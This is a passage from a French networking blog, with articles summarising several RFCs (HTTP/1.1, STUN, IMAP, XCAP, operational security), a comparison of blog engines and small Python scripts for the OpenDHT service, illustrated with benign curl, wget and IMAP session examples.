Notre RFC introduit donc un nouveau concept, le message ICMP en plusieurs parties, un peu comme ce que MIME avait fait pour le courrier électronique. Certains messages ICMP peuvent donc désormais contenir plusieurs objets, chaque objet ayant un en-tête et contenant des données structurées.

Comme souvent dans l'Internet, la compatibilité avec la version précédente du protocole était le principal problème. Que va faire une application moderne qui traite l'ICMP si un vieux routeur lui envoie des paquets ICMP de l'ancienne norme ? Et dans le cas inverse ? Notre RFC consacre donc une longue section 5 à ce problème et en conclut que peu d'inconvénients devraient être visibles.

Ces types d'objets sont enregistrés dans un registre IANA, https://www.iana.org/assignments/icmp-parameters. Le premier RFC à utiliser cette extension est le RFC 4950 sur MPLS, le second a été le RFC 5837 sur les informations d'interface, mais plusieurs autres RFC en préparation créent de tels objets.


Téléchargez le RFC 4884


L'article seul

Quel moteur de blog aujourd'hui ?

Première rédaction de cet article le 9 juin 2007
Dernière mise à jour le 1 août 2007


Pour un autre blog que celui-ci, je cherchais un moteur pour le créer et le gérer et, après en avoir regardé plusieurs, j'ai choisi un premier moteur.

Mon blog, celui que vous lisez en ce moment, est mis en œuvre par une stratégie originale, entre autre en raison de son cahier des charges très spécifique. Pour un autre blog, les demandes des utilisateurs portaient plutôt vers les moteurs de blog classiques, c'était donc l'occasion d'en essayer certains.

Le cahier des charges était, en gros :

  • 100 % logiciel libre (ce qui élimine MovableType et d'autres loïclemeureries),
  • tourne sur Unix pour pouvoir être hébergé sur mon serveur SliceHost ; je ne souhaitais pas être hébergé sur un service comme Blogger, je n'aime pas cette sensation de perte de contrôle,
  • interface pour les auteurs entièrement en français (ce qui semble éliminer toutes les solutions à base de Ruby on Rails) et aussi simple que possible (ce qui élimine Blosxom),
  • ne prend pas 4 gigas de RAM, ce qui élimine probablement les solutions à base de Tomcat,
  • puisse être protégé via un mot de passe, il s'agit d'un blog privé (si c'est via Apache, parfait, mais notons que certains hébergeurs ne pemettent pas d'avoir un blog privé),
  • permette les photos (je pense qu'ils le permettent tous).

Sans que cela soit impératif, je souhaitais aussi :

  • utilise PostgreSQL plutôt que le très insuffisant MySQL,
  • facilement installable, idéalement via des paquetages,
  • que j'ai le moins de travail possible, je voulais écrire du contenu, pas aider au développement,
  • pas écrit en PHP (là, j'ai cessé de rêver sur ce point),
  • permette des greffons, pour rajouter des trucs rigolos,
  • communauté d'utilisateurs sympa,

J'ai retenu quatre logiciels qui semblaient correspondre à ces critères :

J'ai d'abord choisi Wordpress, sans doute le plus utilisé (ce qui augmente les chances d'avoir des bonnes traductions, une communauté active, plein de greffons intéressants) et qui était recommandé aussi bien par des geeks que par des utilisateurs ordinaires. Mais je n'ai jamais réussi à le mettre en français. On lira un récit de mes mésaventures sur les forums http://www.wordpress-fr.net/support/sujet-6244-moyen-passer-interface-francais, http://xavier.borderie.net/wp-fr/2007/05/17/wordpress-22-nouvelle-version-majeure-aussitot-en-francais/ et http://weblog.fairweb.fr/archives/2006/11/30/wordpress-probleme-de-localisation-sur-les-systemes-64-bits/. La lecture du code de Wordpress (voir par exemple http://xavier.borderie.net/wp-fr/installation-de-wordpress-en-francais/) montre que, chose incroyable, les auteurs de Wordpress ont redéveloppé l'interface de traduction gettext et même un code (bogué) pour détecter la boutianité de la machine.

J'ai donc tenté TextPattern, qui dispose d'un langage assez répandu, Textile (passer des données d'un moteur de blog à un autre reste toute une aventure). Tout a tout de suite mieux marché. Au moins, je suis arrivé à le mettre en français. Si la traduction est incomplète et compte encore des fautes d'orthographe, au moins, elle marche sur mon serveur. La bogue la plus agaçante concernait la sélection de certaines préférences, notamment le fait que les commentaires soient autorisés ou pas. Avec les versions récentes de MySQL, le code ne fonctionne pas et il faut remplacer un fichier par la dernière version tirée du dépôt Subversion de TextPattern ! La blogosphère n'est pas pour les non-informaticiens...

J'ai fait un essai aussi avec Dotclear, dont la version 2 (encore officiellement en béta) a un support PostgreSQL. Étant développé en France, il devrait logiquement avoir une bonne version française. Je dois dire que j'ai été assez refroidi par le fait que le wizard crée le fichier de configuration, config.php, qui contient notamment les mots de passe d'accès à la base de données, en mode Unix 0666, c'est-à-dire lisible et modifiable par tous les utilisateurs de la machine...

Serendipity reste intéressant également, lui aussi accepte un autre SGBD que MySQL. Comme Dotclear, je le garde sous le coude si TextPattern s'avère inadapté.

Bien sûr, le paysage des moteurs de blog évolue vite et cette modeste étude sera sans doute rapidement dépassée...


L'article seul

RFC 4778: Operational Security Current Practices

Date de publication du RFC : Janvier 2007
Auteur(s) du RFC : M. Kaeo (Double Shot Security)
Pour information
Première rédaction de cet article le 8 juin 2007


La sécurité est désormais omniprésente sur Internet et d'innombrables RFC en parlent. Celui-ci liste les pratiques de sécurité actuellement mises en œuvre par les opérateurs réseau et les FAI.

C'est donc plutôt un reportage qu'un RFC normatif. Après avoir revu les menaces existant sur les réseaux, et les différents types d'attaque, notre RFC cite les contre-mesures adoptées. Pour chaque grande fonction, le RFC explique les attaques possibles sur cette fonction et les contre-mesures spécifiques. Les fonctions sont :

  • La protection physique des équipements, placés dans des locaux fermés, à accès contrôlé. Même dans ces locaux, l'utilisation de mots de passe sur les équipements est systématique, souvent avec déconnexion automatique au bout de N minutes,
  • La gestion à distance des équipements, typiquement via SSH (plus une base d'authentification, par exemple avec Radius), SNMP n'étant en général utilisé qu'en lecture et HTTP semblant souvent neutralisé. La plupart des acteurs enregistrent toutes les actions ainsi effectuées.
  • L'acheminement des paquets IP (forwarding). Certains opérateurs, mais pas tous, mettent en œuvre les méthodes de filtrage décrites dans le RFC 2827 ou bien le RFC 3704. Le filtrage par adresse MAC est très rare.
  • Les protocoles de routage (routing). Ceux-ci peuvent faire l'objet d'attaques spécifiques (RFC 4593). L'authentification dite MD5 est largement utilisée, ainsi que le GTSM (RFC 3682). Diverses règles contrôlent le nombre maximum de préfixes envoyés par un pair, mais rares sont les opérateurs qui filtrent selon le contenu des IRR (Internet Routing Registry).
  • DoS. Ce phénomène, plaie de l'Internet, est une des plus grosses préoccupations des opérateurs. Parmi les contre-mesures, l'établissement de routes spéciales pour faire disparaitre le trafic non désiré dans un trou noir, routes souvent injectées dans BGP pour assurer leur transport rapide dans tout le réseau.

Téléchargez le RFC 4778


L'article seul

RFC 4825: The Extensible Markup Language (XML) Configuration Access Protocol (XCAP)

Date de publication du RFC : Mai 2007
Auteur(s) du RFC : J. Rosenberg (Cisco)
Chemin des normes
Première rédaction de cet article le 7 juin 2007


Les logiciels clients ont souvent besoin d'accéder à de l'information de configuration, qui est typiquement stockée en local. Ce protocole permet de la mettre sur un serveur distant.

Imaginons un client SIP qui veut connaitre les préférences de son utilisateur humain (par exemple les heures où il peut sonner). Traditionnellement, au démarrage, ledit client lit un fichier local (sur Unix, ce serait un fichier ~/.lelogicielrc ou équivalent). L'inconvénient de cette méthode est que l'humain ne peut pas facilement travailler sur plusieurs machines, sauf à prendre des précautions particulières pour s'assurer que les fichiers de configuration soient identiques partout.

Des protocoles ont donc été développés pour permettre l'accès à distance à la configuration, permettant ainsi sa centralisation sur un serveur. Le plus connu de ces protocoles est ACAP (décrit dans le RFC 2244), qui n'a jamais été un grand succès.

Notre RFC représente donc une nouvelle tentative, utilisant XML cette fois, et avec un nom qui rend hommage à ACAP.

XCAP permet de distribuer de l'information spécifiée dans un schéma XML. Le RFC utilise des exemples tirés du RFC 3857, qui normalise un moyen pour des utilisateurs SIP de surveiller une ressource. Mais bien d'autres schémas seront possibles.

L'accès à une partie de la configuration se fait avec un langage qui est un sous-ensemble de XPath.

Notre protocole est bâti sur HTTP. XCAP permet d'avantage que l'accès à la configuration, il autorise aussi la mise à jour de celle-ci, en suivant l'architecture REST (GET pour lire la configuration, DELETE pour supprimer une ressource, etc). C'est donc aussi un protocole d'avitaillement (provisioning).


Téléchargez le RFC 4825


L'article seul

RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1

Date de publication du RFC : Juin 1999
Auteur(s) du RFC : Roy T. Fielding (Department of Information and Computer Science), James Gettys (World Wide Web Consortium), Jeffrey C. Mogul (Compaq Computer Corporation), Henrik Frystyk Nielsen (World Wide Web Consortium), Larry Masinter (Xerox Corporation), Paul J. Leach (Microsoft Corporation), Tim Berners-Lee (World Wide Web Consortium)
Chemin des normes
Première rédaction de cet article le 6 juin 2007


Pas besoin de présenter HTTP, un des protocoles les plus importants de l'Internet, en raison du succès du Web. Notre RFC était la norme officielle de HTTP, depuis remplacé par une série de huit RFC.

Le Web a beaucoup évolué depuis la sortie du RFC mais son protocole principal reste le même, HTTP 1.1. Contrairement aux normes portant sur le format des données, qui sont en général réalisées par le W3C, HTTP est une norme IETF. Le RFC est très long car, si HTTP est très simple dans son principe (ce qui a beaucoup aidé à son succès), il contient de nombreux détails (par exemple de nombreux en-têtes peuvent être transmis entre serveurs et clients pour des options variées) et je parie que peu de logiciels mettent en œuvre la totalité du RFC.

On notera aussi que, si HTTP est surtout connu pour permettre à un navigateur Web d'accéder à une page HTML, il peut aussi servir de protocole pour permettre à deux applications de communiquer, notamment en suivant l'architecture REST (voir programmation-rest.html et signaler-a-signal-spam.html pour des exemples REST). Ainsi, des protocoles comme IPP (RFC 2911) ou XCAP, XML Configuration Access Protocol (RFC 4827), utilisent HTTP (pas forcément en REST). Un RFC a même été écrit pour essayer de décrire dans quels cas il était souhaitable de réutiliser HTTP pour un protocole Internet, le RFC 3205.

Le protocole repose sur un mécanisme requête / réponse très simple (section 1.4). Le client se connecte en TCP au serveur, envoie une requête sur une seule ligne, la requête incluant un URI, éventuellement des options sous forme d'en-têtes analogues à ceux du courrier électronique (Accept: text/*), éventuellement un contenu, et reçoit une réponse sous forme d'un code numérique indiquant de manière non ambigüe le résultat de la requête, d'en-têtes optionnels et d'un corps, la ressource demandée.

Le terme de ressource est défini dans la section 1.3. Il est plus général que celui de page. Une ressource n'est pas forcément une page HTML, ce n'est même pas toujours un fichier.

Il existe plusieurs requêtes, définies en section 5.1.1. Les plus connues sont GET (récupérer une ressource, sans rien modifier), POST (modifier une ressource), PUT (créer une nouvelle ressource) et DELETE (comme son nom l'indique). Mais il faut noter que, si les applications REST, par définition, utilisent les différentes requêtes pour les différentes actions qu'elles peuvent effectuer, le navigateur Web typique ne connait que GET et POST. Et beaucoup d'applications ne sont pas REST, utilisant par exemple le POST comme un fourre-tout, l'action étant exprimée par un paramètre du POST et pas par la requête. C'est dommage, car la sémantique de chaque requête est rigoureusement définie par le RFC (voir particulièrement la section 9.1), notamment pour ce qui concerne les caches, l'idempotence et les invariants comme GET(PUT(x)) = x (en français : après un PUT, un GET du même URI doit donner la ressource transmise lors du PUT).

Les codes numériques de retour sont à trois chiffres, le premier chiffre indiquant la catégorie (2 est un succès, 4 une erreur dûe au client, 5 une erreur dûe au serveur, etc), comme avec SMTP. L'erreur la plus célèbre est sans doute la 404, « ressource non trouvée », décrite dans la section 10.4.5, qui se produit par exemple lorsqu'un webmestre n'a pas lu l'article Cool URIs don't change et a changé ses fichiers de place.

Il existe évidemment une pléthore de logiciels clients et serveurs HTTP, puisque les navigateurs Web et les serveurs comme Apache, parlent tous HTTP. Mais, pour apprendre le protocole, les clients en ligne de commande sont très pratiques. Ici, curl avec l'option --verbose permet de voir les requêtes envoyées par le client au serveur (elles sont précédées d'un signe >) et les réponses du serveur (précédées d'un signe <) :


% curl --verbose http://www.bortzmeyer.org/2616.html
* About to connect() to www.bortzmeyer.org port 80
*   Trying 80.67.170.20... connected
* Connected to www.bortzmeyer.org (80.67.170.20) port 80
> GET /2616.html HTTP/1.1
> User-Agent: curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5
> Host: www.bortzmeyer.org
> Accept: */*
> 
< HTTP/1.1 404 Not Found
< Date: Wed, 06 Jun 2007 13:20:03 GMT
< Server: Apache/1.3.26 Ben-SSL/1.48 (Unix) Debian GNU/Linux AuthMySQL/3.1 mod_throttle/3.1.2 mod_watch/3.17
< Connection: close
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=iso-8859-1
...

Ou bien, avec wget, son option --debug, et une ressource qui existe (dans le cas ci-dessus, le fichier n'avait pas encore été copié sur le serveur, d'où le résultat 404) :

% wget --debug http://www.bortzmeyer.org/1035.html
...
Connecting to www.bortzmeyer.org|80.67.170.20|:80... connected.
...
---request begin---
GET /1035.html HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: www.bortzmeyer.org
Connection: Keep-Alive
---request end---
...
---response begin---
HTTP/1.1 200 OK
Date: Wed, 06 Jun 2007 13:23:48 GMT
Server: Apache/1.3.26 Ben-SSL/1.48 (Unix) Debian GNU/Linux AuthMySQL/3.1 mod_throttle/3.1.2 mod_watch/3.17
Last-Modified: Wed, 30 May 2007 18:21:58 GMT
ETag: "2e6e69-19a6-465dc0c6"
Accept-Ranges: bytes
Content-Length: 6566
Connection: close
Content-Type: text/html; charset=utf-8

Afficher les en-têtes du dialogue entre le client et le serveur peut aussi se faire, si on utilise le navigateur Firefox, avec son extension « HTTP headers ».

Pour un exemple concret des options qui peuvent être passées au serveur via les en-têtes, prenons If-Modified-Since (section 14.25) qui permet au client d'annoncer au serveur « J'ai déjà une version de cette ressource, obtenue à telle date, ne me l'envoie que si tu as une version plus récente ». Par exemple, sur le site des étiquettes de langue, on a le registre dans divers formats. Ces formats sont produits localement, après avoir transféré le registre original. Celui-ci étant un gros fichier, on l'analyse pour trouver sa date et on utilise l'option --time-cond de curl pour générer un en-tête If-Modified-Since. Voici le script :

#!/bin/sh

MYURL=http://www.langtag.net/
LTR_URL=https://www.iana.org/assignments/language-subtag-registry
LTR_LOCAL=language-subtag-registry

if [ -e ${LTR_LOCAL} ]; then
  ltr_date=`head -n 1 ${LTR_LOCAL} | cut -d" " -f2`
  current_date=`date +"%Y%m%d" --date="${ltr_date} +1 day"`
else
  # Trick to force a downloading
  current_date="19700101"
fi
curl --verbose --output ${LTR_LOCAL}.TMP \
    --compressed \
    --referer ${MYURL} \
    --proxy "" \
    --time-cond "${current_date}" \
  ${LTR_URL}
...

Cela donne ceci, si le fichier n'existe pas (on a pris une date arbitraire dans le passé) :


...
> If-Modified-Since: Thu, 01 Jan 1970 00:00:00 GMT
> 
< HTTP/1.1 200 OK
< Last-Modified: Fri, 04 May 2007 18:36:16 GMT
< Content-Length: 80572

Si par contre le fichier existe et on a la version du 5 mars 2007, curl affiche :


...
> If-Modified-Since: Sat, 05 May 2007 00:00:00 GMT
> 
< HTTP/1.1 304 Not Modified
...

et le fichier n'est pas transféré.

Naturellement, si on veut développer un client HTTP, au delà de ce que permet curl (qui permet déjà beaucoup de choses), on dispose de nombreuses bibliothèques toutes faites comme httplib pour Python, libcurl (avec le programme du même nom) ou neon pour C, etc. HTTP est suffisamment simple pour qu'on puisse écrire rapidement un client, même sans ces bibliothèques comme le montre cet exemple en Python.

À noter que notre RFC utilise, pour décrire le protocole, une variante de l'ABNF standard, décrite en section 2.1, ce qui a suscité un certain nombre de problèmes.

Ce RFC 2616 a été remplacé en juin 2014 par une série de huit RFC, commençant par le RFC 7230. Le protocole HTTP 1.1 reste le même.


Téléchargez le RFC 2616


L'article seul

RFC 3489: STUN - Simple Traversal of User Datagram Protocol (UDP) Through Network Address Translators (NATs)

Date de publication du RFC : Mars 2003
Auteur(s) du RFC : J. Rosenberg (dynamicsoft), J. Weinberger (dynamicsoft), C. Huitema (Microsoft), R. Mahy (Cisco)
Chemin des normes
Première rédaction de cet article le 1 juin 2007


Le NAT a toujours été une des plaies de l'Internet, entre autres parce qu'il perturbe les applications qui veulent transmettre une référence à leur adresse IP. STUN, décrit dans ce RFC (depuis mis à jour dans le RFC 5389), est un des protocoles qui permet de limiter les dégâts.

Pour plusieurs raisons, dont le manque d'adresses IPv4, de nombreuses machines sont connectées à l'Internet derrière un routeur qui fait du NAT. Leur adresse étant alors privée, elles ne peuvent pas la transmettre à l'extérieur, ce qui est une gêne considérable pour tous les protocoles qui reposent sur la référence à des adresses IP, comme SIP. SIP lui-même (RFC 3261) marche à travers le NAT mais les données audio ou vidéo transmises (typiquement par RTP) le sont à une adresse IP que l'appelant donne à l'appelé et, si cette adresse est privée, le flux n'arrivera jamais.

La bonne solution serait de déployer IPv6, qui fournit des adresses en quantité illimitée, ou à la rigueur de permettre un meilleur contrôle du routeur NAT avec MIDCOM (RFC 3303) mais, en attendant, STUN est une solution simple et qui marche souvent.

STUN résoud partiellement le problème de la manière suivante : un serveur STUN doit être installé quelque part sur l'Internet public (il existe des serveurs STUN publics) et reçoit des demandes envoyées en UDP au port 3478. Le serveur STUN peut alors connaitre l'adresse publique, celle mise par le routeur NAT et, en répondant au client, il pourra informer celui-ci « Voilà à quoi tes paquets ressemblent, vus de l'extérieur ».

Le nom du serveur STUN est typiquement configuré dans le client, puis le serveur recherché dans le DNS via les enregistrements SRV (RFC 2782).

Le principe est simple, mais le RFC est plus compliqué que cela, notamment en raison des problèmes de sécurité (la section 12 du RFC est très détaillée sur ce point). Par exemple, le client STUN doit en fait commencer par une connexion TCP pour obtenir un mot de passe temporaire.

Un autre problème est qu'il y a en fait plusieurs sortes de NAT (voir par exemple le RFC 2663). Notre RFC en rappelle certaines dans la section 5 avec sa propre terminologie (il n'existe pas réellement de norme pour le NAT). Par exemple, certains routeurs NAT (Symmetric NAT pour notre RFC) n'attribuent pas l'adresse externe uniquement en fonction de la source mais aussi en fonction de la destination. Ceux-ci ne fonctionnent pas avec STUN, qui a besoin de NAT cone, c'est-à-dire où les paquets d'une même machine auront toujours la même adresse IP externe.

Voici une démonstration d'un client STUN qui, en se connectant à un serveur STUN public va apprendre son adresse IP publique :

% ifconfig -a
hme0: [...] inet 172.19.1.2
(Adresse privée, probablement NATée...)

% ./client  stun.ekiga.net -v|& more
STUN client version 0.96
...
MappedAddress = 213.41.181.9:32143
(Voici mon adresse telle que vue de l'extérieur)
...
Primary: Indepndent Mapping, Port Dependent Filter, preserves ports, no hairpin 
(Et le type de NAT, à noter que cette partie disparaitra du successeur de STUN, 
actuellement en cours d'élaboration, car il existait trop de types de NAT, et 
leur détection n'était pas toujours fiable.)

STUN s'inscrit dans la catégorie des protocoles de « réparation » du NAT, catégorie décrite dans le RFC 3424. Il a été depuis asse profondément modifié dans le RFC 5389.


Téléchargez le RFC 3489


L'article seul

RFC 3491: Nameprep: A Stringprep Profile for Internationalized Domain Names (IDN)

Date de publication du RFC : Mars 2003
Auteur(s) du RFC : P. Hoffman (IMC & VPNC), M. Blanchet (Viagenie)
Chemin des normes
Première rédaction de cet article le 1 juin 2007


nameprep, sujet de notre RFC, est un profil de stringprep (RFC 3454), mécanisme de canonicalisation de noms. Il est notamment le mécanisme standard d'IDNA.

IDN nécessite un mécanisme de canonicalisation des noms de domaine, pour que la recherche d'un nom dans la mémoire du serveur DNS ne dépende pas de « détails » comme la casse ou de différences que les utilisateurs de cette écriture considèrent généralement comme non significatives. Ce mécanisme est spécifié dans notre RFC, qui s'appuie sur le cadre général stringprep. Notre RFC est donc très court, puisqu'il se limite à choisir dans les tables proposées par stringprep.

C'est donc nameprep qui décide que Pi².math est finalement équivalent à pi2.math.

On peut utiliser l'outil idn (distribué avec GNU libidn) pour tester (à noter que l'option --stringprep utilise le profil nameprep par défaut mais peut en utiliser d'autres) :

% idn --quiet --stringprep CAFÉ.fr 
café.fr

% idn --quiet --stringprep Straße.de
strasse.de

Dans la seconde version de la norme IDN, le principe d'une canonicalisation uniforme n'a finalement pas été retenu et ce RFC 3491 est donc désormais abandonné (cf. RFC 5891 et RFC 5894). nameprep n'est donc plus utilisé pour les noms de domaines. Il y a désormais plusieurs canonicalisations possibles comme celle du RFC 5895.


Téléchargez le RFC 3491


L'article seul

RFC 4865: SMTP Submission Service Extension for Future Message Release

Date de publication du RFC : Mai 2007
Auteur(s) du RFC : G. White, G. Vaudreuil (Alcatel-Lucent)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF lemonade
Première rédaction de cet article le 1 juin 2007


Depuis que le protocole de transport de courrier SMTP permet des extensions annoncées par le serveur (voir le RFC 2821), beaucoup de telles extensions, plus ou moins utiles, ont été normalisées. Celle-ci permet à un client SMTP d'indiquer qu'il veut retarder la délivrance d'un message jusqu'à un moment qu'il indique.

Il est fréquent qu'on souhaite voir un message délivré plus tard : parce qu'il est lié à un évenement futur (anniversaire, par exemple) ou bien parce qu'on souhaite avoir un rappel d'une tâche à assurer. Il est trivial de programmer cela sur sa machine (par exemple, sur Unix, avec at). Mais certains machines n'ont pas forcément les ressources nécessaires et préféreraient confier cette tâche au serveur de messagerie. C'est ce que normalise notre RFC. Le travail a été mené au sein du groupe Lemonade de l'IETF, qui normalise les extensions groupware à SMTP.

On peut donc, si le serveur l'accepte, lui demander de délivrer le message à une date précise, ou bien au bout d'une durée précise (les deux choix existent car certains clients SMTP n'ont pas forcément d'horloge fiable et complète).

La section Sécurité de notre RFC vaut le détour, notamment à propos des risques qu'un client malveillant n'utilise le serveur comme espace de stockage gratuit, ou bien à expliquer pourquoi on ne peut pas complètement dissimuler la vraie date d'envoi (et donc pas faire croire qu'on a pensé à l'anniversaire juste au jour J).

À l'heure actuelle, à ma connaissance, aucun logiciel SMTP ne met en œuvre cette extension.


Téléchargez le RFC 4865


L'article seul

Un petit début avec OpenDHT

Première rédaction de cet article le 31 mai 2007
Dernière mise à jour le 15 mai 2009


Les DHT, les tables de hachage distribuées ont de plus en plus de succès pour stocker et récuperer des informations sur Internet. OpenDHT était un service que tout le monde pouvait utiliser sans avoir à installer sa propre DHT.

Il existe au moins trois mises en œuvre de DHT en logiciel libre, Chord, Pastry et Bamboo. Mais créer une DHT nécessite de les installer sur un certain nombre de machines et tout le monde n'a pas forcément accès à un réseau comme celui de PlanetLab. D'où l'idée toute simple de OpenDHT : installer une DHT (en l'occurrence Bamboo) et permettre à tous de l'utiliser via une simple interface XML-RPC.

À titre d'exemple, voici deux petits scripts Python, un qui enregistre l'adresse IP de ma machine dans la DHT et l'autre qui la récupère. Cela permet, par exemple, des systèmes de rendez-vous entre des machines dont l'adresse IP est variable. Voici un exemple d'utilisation (le script ajoute le préfixe HOST-REGISTRATION pour limiter les risques de confusion avec une autre application) :


% ./register-address.py 
I am "munzer.bortzmeyer.org" (208.75.84.80)
Registration: Success

% ./get.py HOST-REGISTRATION-munzer.bortzmeyer.org
208.75.84.80

Voici le code de register-address.py :

import socket
import xmlrpclib
import sha

# Seconds
ttl = 3600
gateway = "http://opendht.nyuld.net:5851/"
secret = "foo-bar"

host_info = socket.gethostbyaddr(socket.gethostname())
name = host_info[0]
addresses = host_info[2]
address = addresses[0]

print "I am \"%s\" (%s)" % (name, address)

proxy = xmlrpclib.ServerProxy(gateway)
results = {0:"Success", 1:"Capacity", 2:"Again"}
key = xmlrpclib.Binary(sha.new("HOST-REGISTRATION-%s" % name).digest())
val = xmlrpclib.Binary(address) 
shash = xmlrpclib.Binary(sha.new(secret).digest())
result = proxy.put_removable(key, val, "SHA", shash, ttl,
                                  "register-address.py")
print "Registration: %s" % results[result]

Notons que le code pour découvrir l'adresse IP locale (socket.gethostbyaddr(socket.gethostname()) est très limité. Notamment, si la machine est derrière un routeur NAT, l'adresse récupérée sera probalement une adresse privée, pas celle qui est vue sur l'Internet. Il faudrait modifier ce programme pour utiliser un protocole de découverte d'adresse comme STUN (RFC 5389).

Et voici le code de get.py :

import sys
import sha
import optparse
from xmlrpclib import *

p = optparse.OptionParser(usage="usage: %prog [options] <key>")
p.add_option("-g", "--gateway", dest="gateway", metavar="GW",
             default="http://opendht.nyuld.net:5851/", 
             help="gateway URI, list at http://opendht.org/servers.txt")
p.add_option("-d", "--details", dest="details", action="store_true",
             help="print secret hash and TTL remaining for each value")
p.add_option("-m", "--maxvals", dest="max", default="10", metavar="CNT",
             type="int", help="how many values to return")
(opts, args) = p.parse_args()
if (len(args) < 1): p.print_help(); sys.exit(1)
pxy = ServerProxy(opts.gateway); maxvals = int(opts.max)
pm = Binary(""); key = Binary(sha.new(args[0]).digest())
while 1:
    if (opts.details):
        vals, pm = pxy.get_details(key, maxvals, pm, "get.py")
        for v in vals: 
            hex = '0x' + ''.join(["%02x"%ord(x) for x in v[3].data[:4]])
            print v[0].data, v[1], v[2], hex
    else:
        vals, pm = pxy.get(key, maxvals, pm, "get.py")
        if not vals:
            print "No result"
        else:
            for v in vals:
                print v.data
    if (pm.data == ""): break

OpenDHT, service expérimental, a toujours été peu fiable. Les pannes étaient fréquentes et les clients voulant utiliser OpenDHT en vrai devaient être robustes. Le 3 mai 2009, le responsable, Sean Rhea a annoncé qu'il arrêtait la maintenance, et stoppait OpenDHT le 1er juillet. Un successeur possible est OpenLookup.


L'article seul

RFC 3501: INTERNET MESSAGE ACCESS PROTOCOL - VERSION 4rev1

Date de publication du RFC : Mars 2003
Auteur(s) du RFC : M. Crispin (University of Washington)
Chemin des normes
Première rédaction de cet article le 31 mai 2007


IMAP, protocole d'accès distant à des boîtes aux lettres n'est pas juste un protocole, c'est tout un écosystème, décrit dans de nombreux RFC. Celui-ci est le socle de la version actuelle d'IMAP.

Les protocoles traditionnels du courrier électronique, notamment SMTP ne permettaient que d'acheminer le courrier jusqu'à destination. Pour le lire, pendant longtemps, la seule solution était d'accéder directement aux fichiers où étaient stockés les messages. Cette possibilité existe toujours mais le monde du courrier s'est enrichi de nouvelles fonctions, comme le stockage du courrier dans une base de données relationnelle ou comme la récupération du courrier à distance, en mode client/serveur. Pour cette récupération, le premier protocole a été POP, dans le RFC 918 (aujourd'hui dans le RFC 1939). Et le plus courant est aujourd'hui IMAP, qui fait l'objet de notre RFC, qui remplace le RFC 2060.

POP est simple, très simple. Il est parfait lorsqu'on veut simplement télécharger les messages sur son poste. IMAP fonctionne sur un modèle différent, où les messages ont plutôt vocation à rester sur le serveur, et où les clients peuvent, non seulement les récupérer mais aussi les classer, les détruire, les marquer comme lus, etc. Certaines de ces possibilités existaient déjà avec POP mais étaient peu utilisées. IMAP permet au contraire, via ses nombreux RFC, de tout faire à distance.

IMAP est donc un protocole complexe et notre RFC annonce la couleur en disant qu'il est une norme, pas un tutoriel. Pour apprendre IMAP, il vaut mieux ne pas commencer par le RFC. (La lecture du RFC 2683 est recommandée aux implémenteurs.)

Pourtant, le principe de base est simple. IMAP est client/serveur. Le client se connecte en TCP au serveur, et envoie des commandes sous forme de texte, comme avec SMTP. Il s'authentifie avec la commande LOGIN, choisit une boîte aux lettres avec la commande SELECT, récupère un message avec la commande FETCH. Voici un exemple de session. Notons tout de suite que chaque commande est précédée d'une étiquette (tag, voir la section 2.2.1 du RFC) qui change à chaque commande et qui permet d'associer une réponse à une commande, IMAP permettant d'envoyer plusieurs commandes sans attendre de réponse). Ici, le serveur utilise le logiciel Archiveopteryx :

% telnet imap.example.org imap     
Trying 192.0.2.23...
Connected to imap.example.org.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 AUTH=CRAM-MD5 AUTH=DIGEST-MD5 AUTH=PLAIN COMPRESS=DEFLATE ID LITERAL+ STARTTLS] imap.example.org Archiveopteryx IMAP Server
com1 LOGIN stephane vraimentsecret
com1 OK [CAPABILITY IMAP4rev1 ACL ANNOTATE BINARY CATENATE CHILDREN COMPRESS=DEFLATE CONDSTORE ESEARCH ID IDLE LITERAL+ NAMESPACE RIGHTS=ekntx STARTTLS UIDPLUS UNSELECT URLAUTH] done
com2 SELECT INBOX
* 189 EXISTS
* 12 RECENT
* OK [UIDNEXT 1594] next uid
* OK [UIDVALIDITY 1] uid validity
* FLAGS (\Deleted \Answered \Flagged \Draft \Seen)
* OK [PERMANENTFLAGS (\Deleted \Answered \Flagged \Draft \Seen \*)] permanent flags
com2 OK [READ-WRITE] done

Pour tester son serveur IMAP, on peut aussi utiliser fetchmail et lui demander d'afficher toute la session avec -v -v :


 % fetchmail -v -v -u MYLOGIN imap.1and1.fr 
Enter password for MYLOGIN@imap.1and1.fr: 
fetchmail: 6.3.6 querying imap.1and1.fr (protocol auto) at Tue Apr 15 12:00:27 2008: poll started
fetchmail: 6.3.6 querying imap.1and1.fr (protocol IMAP) at Tue Apr 15 12:00:27 2008: poll started
Trying to connect to 212.227.15.141/143...connected.
fetchmail: IMAP< * OK IMAP server ready H mimap3 65564
fetchmail: IMAP> A0001 CAPABILITY
fetchmail: IMAP< * CAPABILITY IMAP4rev1 LITERAL+ ID STARTTLS CHILDREN QUOTA IDLE NAMESPACE UIDPLUS UNSELECT SORT AUTH=LOGIN AUTH=PLAIN
fetchmail: IMAP< A0001 OK CAPABILITY finished.
fetchmail: Protocol identified as IMAP4 rev 1
fetchmail: IMAP> A0002 STARTTLS
fetchmail: IMAP< A0002 OK Begin TLS negotiation.
fetchmail: Issuer Organization: Thawte Consulting cc
fetchmail: Issuer CommonName: Thawte Premium Server CA
fetchmail: Server CommonName: imap.1and1.fr
fetchmail: imap.1and1.fr key fingerprint: 93:13:99:6A:3F:23:73:C3:00:37:4A:39:EE:22:93:AB
fetchmail: IMAP> A0003 CAPABILITY
fetchmail: IMAP< * CAPABILITY IMAP4rev1 LITERAL+ ID CHILDREN QUOTA IDLE NAMESPACE UIDPLUS UNSELECT SORT AUTH=LOGIN AUTH=PLAIN
fetchmail: IMAP< A0003 OK CAPABILITY finished.
fetchmail: Protocol identified as IMAP4 rev 1
fetchmail: imap.1and1.fr: upgrade to TLS succeeded.
fetchmail: IMAP> A0004 LOGIN "m39041005-1" *
fetchmail: IMAP< A0004 OK LOGIN finished.
fetchmail: selecting or re-polling default folder
fetchmail: IMAP> A0005 SELECT "INBOX"

IMAP a des fonctions plus riches, notamment la possibilité de chercher dans les messages (section 6.4.4 du RFC), ici, on extrait les messages de mai 2007, puis on récupère le sujet du premier message :

com10 SEARCH since 1-May-2007 before 31-May-2007
* SEARCH 12
com10 OK done
